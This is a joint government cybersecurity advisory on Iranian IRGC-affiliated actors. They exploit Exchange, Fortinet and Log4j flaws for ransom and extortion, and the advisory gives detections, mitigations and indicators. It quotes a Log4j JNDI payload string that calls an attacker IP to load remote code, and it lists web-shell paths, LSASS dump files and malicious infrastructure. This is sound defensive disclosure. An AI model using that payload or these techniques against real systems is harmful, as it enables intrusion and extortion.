Iranian Islamic Revolutionary Guard Corps-Affiliated Cyber Actors Exploiting Vulnerabilities for Data Extortion and Disk Encryption for Ransom Operations

This joint Cybersecurity Advisory (CSA) is the result of an analytic effort among the Federal Bureau of Investigation (FBI), the Cybersecurity and Infrastructure Security Agency (CISA), the National Security Agency (NSA), U.S. Cyber Command Cyber National Mission Force (CNMF), the Department of the Treasury (DoT), the Australian Signals Directorate's Australian Cyber Security Centre (ASD's ACSC), the Canadian Centre for Cyber Security (CCCS), and the United Kingdom’s National Cyber Security Centre (NCSC) to highlight continued malicious cyber activity by advanced persistent threat (APT) actors that the authoring agencies assess are affiliated with the Iranian Government’s Islamic Revolutionary Guard Corps (IRGC). Note: The IRGC is an Iranian Government agency tasked with defending the Iranian Regime from perceived internal and external threats. Hereafter, this advisory refers to all the coauthors of this advisory as "the authoring agencies."

Actions to take today to protect against ransom operations:

• Keep systems and software updated and prioritize remediating known exploited vulnerabilities.
• Enforce MFA
• Make offline backups of your data.

This advisory updates joint CSA Iranian Government-Sponsored APT Cyber Actors Exploiting Microsoft Exchange and Fortinet Vulnerabilities in Furtherance of Malicious Activities, which provides information on these Iranian government-sponsored APT actors exploiting known Fortinet® and Microsoft Exchange® vulnerabilities to gain initial access to a broad range of targeted entities in furtherance of malicious activities, including ransom operations. The authoring agencies now judge these actors are an APT group affiliated with the IRGC.

Since the initial reporting of this activity in the FBI Liaison Alert System (FLASH) report APT Actors Exploiting Fortinet Vulnerabilities to Gain Access for Malicious Activity from May 2021, the authoring agencies have continued to observe these IRGC-affiliated actors exploiting known vulnerabilities for initial access. In addition to exploiting Fortinet and Microsoft Exchange vulnerabilities, the authoring agencies have observed these APT actors exploiting VMware Horizon® Log4j vulnerabilities for initial access. The IRGC-affiliated actors have used this access for follow-on activity, including disk encryption and data extortion to support ransom operations.

The IRGC-affiliated actors are actively targeting a broad range of targeted entities, including entities across multiple U.S. critical infrastructure sectors as well as United Kingdom, Australian and Canadian organizations. These actors often operate under the auspices of Najee Technology Hooshmand Fater LLC, based in Karaj, Iran and Afkar System Yazd Company, based in Yazd, Iran. The authoring agencies assess the actors are exploiting known vulnerabilities on unprotected networks rather than targeting specific targeted entities or sectors.

This advisory provides observed tactics and techniques, as well as indicators of compromise (IOCs), that the authoring agencies assess are likely associated with this IRGC-affiliated APT. The authoring agencies urge organizations, especially critical infrastructure organizations, to apply the recommendations listed in the Mitigations section of this advisory to mitigate risk of compromise from these cyber actors affiliated with the IRGC.

For a downloadable copy of IOCs, see AA22-221A.stix.

For more information on Iranian state-sponsored malicious cyber activity, see CISA’s Iran Cyber Threat Overview and Advisories webpage.

Technical Details

Threat Actor Activity

As reported in joint CSA Iranian Government-Sponsored APT Cyber Actors Exploiting Microsoft Exchange and Fortinet Vulnerabilities in Furtherance of Malicious Activities, the authoring agencies have observed Iranian government-sponsored APT actors scanning for and/or exploiting the following known Fortinet FortiOS and Microsoft Exchange server vulnerabilities since early 2021 to gain initial access to a broad range of targeted entities: CVE-2018-13379, CVE-2020-12812, CVE-2019-5591, and CVE-2021-34473 (a ProxyShell vulnerability). The authoring agencies have also observed these APT actors leveraging CVE-2021-34473 against U.S. networks in combination with ProxyShell vulnerabilities CVE-2021-34523 and CVE-2021-31207. Yazd, Iran-based company Afkar System Yazd Company is actively targeting UK organizations. Additionally, ASD's ACSC judges that these APT actors have used CVE-2021-34473 in Australia to gain access to systems. The APT actors can leverage this access for further malicious activities, including deployment of tools to support ransom and extortion operations, and data exfiltration.

Since the activity was reported in 2021, these IRGC-affiliated actors have continued to exploit known vulnerabilities for initial access. In addition to exploiting Fortinet and Microsoft Exchange vulnerabilities, the authoring agencies have observed these APT actors exploiting VMware Horizon Log4j vulnerabilities CVE-2021-44228 (“Log4Shell”), CVE-2021-45046, and CVE-2021-45105, for initial access.

The IRGC-affiliated actors have used their access for ransom operations, including disk encryption and extortion efforts. After gaining access to a network, the IRGC-affiliated APT actors likely determine a course of action based on their perceived value of the data. Depending on the perceived value, the actors may encrypt data for ransom and/or exfiltrate data. The actors may sell the data or use the exfiltrated data in extortion operations or “double extortion” ransom operations where a threat actor uses a combination of encryption and data theft to pressure targeted entities to pay ransom demands.

IRGC-affiliated actor activity observed by the authoring agencies includes:

• In December 2021, the actors exploited ProxyShell vulnerabilities (likely CVE-2021-34473, CVE-2021-34523 and CVE-2021-31207), on a Microsoft Exchange server to gain access to the network of a U.S. police department. The actors used their access to move laterally within the network, encrypt network devices with BitLocker, and hold the decryption keys for ransom.
• In December 2021, the actors exploited ProxyShell vulnerabilities (likely CVE-2021-34473, CVE-2021-34523 and CVE-2021-31207), on a Microsoft Exchange server to gain access to the network of a U.S. regional transportation company. The actors used their access to move laterally within the network, encrypt network devices with BitLocker, and hold the decryption keys for ransom. This activity disrupted the transportation company’s operations for an extended period.
• In February 2022, the actors exploited a Log4j vulnerability (likely CVE-2021-44228, CVE-2021-45046 and/or CVE-2021-45105) in a VMware Horizon application to gain access to the network of a U.S. municipal government, move laterally within the network, establish persistent access, initiate crypto-mining operations, and conduct additional malicious activity.
• In February 2022, the actors may have exploited a Log4j vulnerability (likely CVE-2021-44228, CVE-2021-45046 and/or CVE-2021) to gain access to the network of a U.S. aerospace company. The actors leveraged a server the authoring agencies assess is associated with the IRGC-affiliated actors, to exfiltrate data from the company's network. 

MITRE ATT&CK® Tactics and Techniques

Note: This advisory uses the MITRE ATT&CK for Enterprise framework, version 11. See Appendix B for a table of the MITRE ATT&CK tactics and techniques observed.

The authoring agencies assess the following tactics and techniques are associated with this activity.  

Resource Development [TA0042]

The IRGC-affiliated actors have used the following malicious and legitimate tools [T1588.001, T1588.002] for a variety of tactics across the enterprise spectrum.

• Fast Reverse Proxy (FRP) for command and control (C2)
• Plink for C2
• Remote Desktop Protocol (RDP) for lateral movement
• BitLocker for data encryption
• SoftPerfect Network Scanner for system network configuration discovery

Note: For additional tools used by these IRGC-affiliated cyber actors, see joint CSA Iranian Government-Sponsored APT Cyber Actors Exploiting Microsoft Exchange and Fortinet Vulnerabilities in Furtherance of Malicious Activities.

Initial Access [TA0001]

As stated in the Technical Details section previously reported in joint CSA Iranian Government-Sponsored APT Cyber Actors Exploiting Microsoft Exchange and Fortinet Vulnerabilities in Furtherance of Malicious Activities, the IRGC-affiliated actors gained initial access by exploiting known vulnerabilities [T1190].

The following IOCs, observed as of March 2022, are indicative of ProxyShell vulnerability exploitation on targeted entity networks:

• Web shells with naming conventions aspx_[11 randomly generated alphabetic characters].aspx, login.aspx, or default.aspx in any of the following directories:
  • C:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\ecp\auth\ 
  • C:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth\ 
  • C:\inetpub\wwwroot\aspnet_client\ 

The following IOCs, observed as of December 2021, are indicative of Log4j vulnerability exploitation on targeted entity networks:

• ${jdni:ldap//148.251.71.182:1389/RCE} (user agent string)
• RCE.class

Execution [TA0002]

The IRGC-affiliated actors may have made modifications to the Task Scheduler [T1053.005]. These modifications may display as unrecognized scheduled tasks or actions. Specifically, the below established tasks may be associated with this activity:

• Wininet
• Wininet’
• WinLogon
• CacheTask

Note: The potential exists that tasks associated with CacheTask or Wininet may be legitimate. For additional tasks used by these IRGC-affiliated cyber actors, see joint CSA Iranian Government-Sponsored APT Cyber Actors Exploiting Microsoft Exchange and Fortinet Vulnerabilities in Furtherance of Malicious Activities.  

Persistence [TA0003]

The IRGC-affiliated actors established new user accounts on domain controllers, servers, workstations, and active directories [T1136.001, T1136.002]. The actors enabled a built-in Windows account (DefaultAccount) and escalated privileges to gain administrator-level access to a network. Some of these accounts appear to have been created to look similar to other existing accounts on the network, so specific account names may vary per organization. In addition to unrecognized user accounts or accounts established to masquerade as existing accounts, the following account usernames may be associated with this activity:

• Domain Admin
• it_admin
• DefaultAccount
• Default01

Note: For additional account usernames associated with this activity, see joint CSA Iranian Government-Sponsored APT Cyber Actors Exploiting Microsoft Exchange and Fortinet Vulnerabilities in Furtherance of Malicious Activities.

Exfiltration [TA0010]

The authoring agencies have observed the IRGC-affiliated actors dumping and subsequently exfiltrating the Local Security Authority Subsystem Service (LSASS) process memory on targeted entity networks in furtherance of credential harvesting. The following IOCs are associated with data exfiltration from targeted entity networks:

• C:\Windows\Temp\sassl[.]pmd
• C:\Windows\Temp\ssasl[.]zip
• C:\Users\DefaultAccount\AppData\Local\Temp\lsass[.]dmp
• C:\Users\DefaultAccount\AppData\Local\Temp\lsass[.]zip

Impact [TA0040]

The IRGC-affiliated actors forced BitLocker activation on host networks to encrypt data [T1486] and held the decryption keys for ransom. The corresponding ransom notes were sent to the targeted entity, left on the targeted entity network as a .txt file or printed on the targeted entity’s networked printer(s). The notes included the following contact information:

• @BuySafety (Telegram)
• @WeRBits (Telegram)
• +93794415076 (Telegram)
• +93794415076 (WhatsApp)
• werbits@onionmail[.]org
• buysafety@onionmail[.]org
• yacashcash@rambler[.]ru

Note: For additional contact information included in ransom notes, see joint CSA Iranian Government-Sponsored APT Cyber Actors Exploiting Microsoft Exchange and Fortinet Vulnerabilities in Furtherance of Malicious Activities.

Detection

The authoring agencies recommend that organizations using Microsoft Exchange servers, Fortinet devices and/or VMware Horizon applications to investigate potential suspicious activity in their networks.

• Search for IOCs. Collect known-bad IOCs and search for them in network and host artifacts. Note: Refer to Appendix A for IOCs.
• Review Log4j vulnerabilities, including CVE-2021-44228, CVE-2021-45046, and CVE-2021- 45105.
• Review Microsoft Exchange ProxyShell vulnerabilities, including CVE-2021-34473, CVE-2021-34523, and CVE-2021-31207.
• As a precaution, review additional Microsoft Exchange vulnerabilities, including CVE-2021-31196, CVE2021-31206, CVE-2021-33768, CVE-2021-33766, and CVE-2021-34470 because the authoring agencies have seen the actors broadly target Microsoft Exchange servers.
• Investigate exposed Microsoft Exchange servers, both patched and unpatched, for compromise.
• Review Fortinet FortiOS vulnerabilities, including CVE-2018-13379, CVE-2020-12812 and CVE-2019- 5591.
• Review VMware vulnerabilities, including any relevant vulnerabilities listed on the VMware security advisory page.
• Investigate changes to RDP, firewall, and Windows Remote Management (WinRM) configurations that may allow malicious cyber actors to maintain persistent access.
• Review domain controllers, servers, workstations, and active directories for new or unrecognized user accounts.
• Review Task Scheduler for unrecognized scheduled tasks. Additionally, manually review operating-system and scheduled tasks—including each step these tasks perform—for unrecognized “actions.”
• Review antivirus logs for indications they were unexpectedly turned off.
• Look for WinRAR and FileZilla in unexpected locations.
• Review servers and workstations for malicious executable files masquerading as legitimate Windows processes. Malicious files may not be found in the expected directory and may have cmd.exe or powershell.exe as their parent process.

Note: For additional approaches on uncovering malicious cyber activity, see joint advisory Technical Approaches to Uncovering and Remediating Malicious Activity, authored by CISA and the cybersecurity authorities of Australia, Canada, New Zealand, and the United Kingdom.

Mitigations

The authoring agencies urge network defenders to prepare for and mitigate potential cyber threats immediately by implementing the mitigations below.

Implement and Enforce Backup and Restoration Policies and Procedures

• Maintain offline (i.e., physically disconnected) backups of data, and regularly test backup and restoration. These practices safeguard an organization’s continuity of operations or at least minimize potential downtime from a ransomware or other destructive data incident and protect against data losses.
  • Ensure all backup data is encrypted, immutable (i.e., cannot be altered or deleted), and covers the entire organization’s data infrastructure
• Activate BitLocker on all networks and securely back up BitLocker keys with Microsoft and with an independent offline backup.
• Create, maintain, and exercise a basic cyber incident response plan that includes response procedures for a ransom incident.
• Implement a recovery plan to maintain and retain multiple copies of sensitive or proprietary data and servers in a physically separate, segmented, secure location (e.g., hard drive, storage device, the cloud).

Patch and Update Systems

• U.S. federal, state, local, tribal and territorial (SLTT) government and critical infrastructure organization organizations: Implement free CISA Cyber Hygiene Services Vulnerability Scanning to enable continuous scans of public, static IPs for accessible services and vulnerabilities.
• Install updates/patch operating systems, software, and firmware as soon as updates/patches are released. Regularly check software updates and end-of-life notifications. Consider leveraging a centralized patch management system to automate and expedite the process.
• Immediately patch software affected by vulnerabilities identified in this advisory: CVE-2021-34473, CVE-2018-13379, CVE-2020-12812, CVE-2019-5591, CVE-2021-34523, CVE-2021-31207, CVE-2021-44228, CVE-2021-45046, CVE-2021-45105, CVE-2021-31196, CVE, 2021-31206, CVE-2021-33768, CVE-2021-33766, and CVE-2021-34470.

Evaluate and Update Blocklists and Allowlists

• Regularly evaluate and update blocklists and allowlists.
• If FortiOS is not used by your organization, add the key artifact files used by FortiOS to your organization’s execution blocklist. Prevent any attempts to install or run this program and its associated files.

Implement Network Segmentation

• Implement network segmentation to restrict a malicious threat actor’s lateral movement.

Secure User Accounts

• Audit user accounts with administrative privileges and configure access controls under the principles of least privilege and separation of duties.
• Require administrator credentials to install software.

Implement Multifactor Authentication

• Use multifactor authentication where possible, particularly for webmail, virtual private networks (VPNs), accounts that access critical systems, and privileged accounts that manage backups.

Use Strong Passwords

• Require all accounts with password logins to have strong, unique passwords. See CISA Tip Choosing and Protecting Passwords and National Institute of Standards and Technology (NIST) Special Publication 800-63B: Digital Identity Guidelines for more information.

Secure and Monitor RDP and other Potentially Risky Services

• If you use RDP, restrict it to limit access to resources over internal networks. After assessing risks, if your organization deems RDP operationally necessary, restrict the originating sources, and require MFA to mitigate credential theft and reuse. If RDP must be available externally, use a VPN, virtual desktop infrastructure, or other means to authenticate and secure the connection before allowing RDP to connect to internal devices.
• Disable unused remote access/RDP ports.
• Monitor remote access/RDP logs, enforce account lockouts after a specified number of attempts (to block brute force campaigns), and log RDP login attempts.

Use Antivirus Programs

• Install and regularly update antivirus and anti-malware software on all hosts.

Secure Remote Access

• Only use secure networks.
• Consider installing and using a VPN for remote access.

Validate Security Controls

In addition to applying mitigations, the authoring agencies recommend exercising, testing, and validating your organization's security program against the threat behaviors mapped to the MITRE ATT&CK for Enterprise framework in this advisory. The authoring agencies recommend testing your existing security controls inventory to assess how they perform against the ATT&CK techniques described in this advisory.

To get started:

1. Select an ATT&CK technique described in this advisory (see Appendix B).
2. Align your security technologies against the technique.
3. Test your technologies against the technique.
4. Analyze your detection and prevention technologies performance.
5. Repeat the process for all security technologies to obtain a set of comprehensive performance data.
6. Tune your security program, including people, processes, and technologies, based on the data generated by this process.

The authoring agencies recommend continually testing your security program, at scale, in a production environment to ensure optimal performance against the MITRE ATT&CK techniques identified in this advisory.

Responding to Ransomware or Extortion Incidents

If a ransomware or extortion incident occurs at your organization:

• Follow the Ransomware Response Checklist on p. 11 of the CISA-Multi-State Information Sharing and Analysis Center (MS-ISAC) Joint Ransomware Guide.
• Scan backups. If possible, scan backup data with an antivirus program to check that it is free of malware. This should be performed using an isolated, trusted system to avoid exposing backups to potential compromise.
• Follow the notification requirements as outlined in your cyber incident response plan.
• Apply incident response best practices found in the joint Cybersecurity Advisory, Technical Approaches to Uncovering and Remediating Malicious Activity, developed by CISA and the cybersecurity authorities of Australia, Canada, New Zealand, and the United Kingdom.

Note: The authoring agencies strongly discourage paying ransoms as doing so does not guarantee files and records will be recovered and may pose sanctions risks.

Resources

• The U.S. Department of State’s Rewards for Justice (RFJ) program offers a reward of up to $10 million for reports of foreign government malicious activity against U.S. critical infrastructure. See the RFJ website for more information and how to report information securely.
• For more information on malicious cyber activity affiliated with the Iranian government-sponsored malicious cyber activity, see us-cert.cisa.gov/Iran.
• For information and resources on protecting against and responding to ransomware or extortion activity, refer to StopRansomware.gov, the U.S. centralized, whole-of-government webpage providing ransomware resources and alerts.
• The joint advisory from the cybersecurity authorities of Australia, Canada, New Zealand, the United Kingdom, and the United States: Technical Approaches to Uncovering and Remediating Malicious Activity provides additional guidance when hunting or investigating a network and common mistakes to avoid in incident handling.
• CISA offers a range of no-cost cyber hygiene services to help critical infrastructure organizations assess, identify, and reduce their exposure to threats. By requesting these services, organizations of any size could find ways to reduce their risk and mitigate malicious activity.
• ASD's ACSC can provide tailored cyber security advice and assistance, reporting, and incident response support at cyber.gov.au and via 1300 292 371 (1300 CYBER1).

Purpose

This advisory was developed by U.S., Australian, Canadian, and UK cybersecurity authorities in furtherance their respective cybersecurity missions, including their responsibilities to develop and issue cybersecurity specifications and mitigations.

Disclaimer

The information in this report is being provided “as is” for informational purposes only. FBI, CISA, NSA, CNMF, DoT, ASD's ACSC, CCCS, and NCSC-UK do not endorse any commercial product or service, including any subjects of analysis. Any reference to specific commercial products, processes, or services by service mark, trademark, manufacturer, or otherwise, does not constitute or imply endorsement, recommendation, or favoring.

Appendix A: indicators of Compromise

IP addresses and executables files are listed below. For a downloadable copy of IOCs, see AA21-221A.stix.

IP Addresses

• 54.39.78[.]148
• 95.217.193[.]86
• 107.173.231[.]114
• 144.76.186[.]88
• 148.251.71[.]182
• 172.245.26[.]118
• 185.141.212[.]131
• 198.12.65[.]175
• 198.144.189[.]74

Note: Some of these observed IP addresses may be outdated. The authoring agencies recommend organizations investigate or vet these IP addresses prior to taking action, such as blocking.

Malicious Domains

• newdesk[.]top
• symantecserver[.]co
• msupdate[.]us
• gupdate[.]us
• aptmirror[.]eu
• tcp443 (subdomain)
• kcp53 (subdomain)

Files

Malicious files observed in this activity are identified in Table 1. Many of the below malicious files are masquerading as legitimate Windows files, therefore file names alone should not be treated as an indicator of compromise. Note: For additional malicious files observed, see joint CSA Iranian Government-Sponsored APT Cyber Actors Exploiting Microsoft Exchange and Fortinet Vulnerabilities in Furtherance of Malicious Activities.

Appendix B: Mitre ATT&CK Tactics and Techniques

Table 2 identifies MITRE ATT&CK Tactics and techniques observed in this activity.